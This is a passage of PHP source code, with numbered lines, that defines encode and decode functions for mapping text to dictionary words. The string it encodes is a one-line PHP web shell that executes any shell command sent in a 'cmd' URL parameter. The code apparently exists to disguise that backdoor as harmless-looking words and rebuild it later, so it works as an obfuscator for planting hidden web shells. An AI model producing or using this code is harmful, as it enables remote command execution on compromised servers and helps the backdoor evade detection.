49 $input = "if(isset(\$_GET['cmd'])){ echo `{\$_GET['cmd']}`; }";
51 function encode($string, $array) {
53 for ($c = 0; $c < strlen($string); $c++
) {
54 $char = substr($string, $c, 1);
55 $upper = isUpper($char);
56 $char = strtolower($char);
57 if (isset($array[$char])) {
58 if ($upper) $output[] = strtoupper($array[$char]);
59 else $output[] = $array[$char];
64 return implode(" ", $output);
67 function decode($string, $array) {
69 $words = explode(" ", $string);
70 foreach ($words as $word) {
71 $upper = isUpper($word);
72 $word = strtolower($word);
73 if ($key = array_search($word, $array)) {
74 if ($upper) $key = strtoupper($key);
75 $output = "{$output}{$key}";
77 $output = "{$output}{$word}";
84 function isUpper($char) {
85 if (strtoupper($char) == $char) return true;
89 echo $output = encode($input, $dict);
91 echo decode($output, $dict);
95 //print "<pre>" . $output . "</pre>";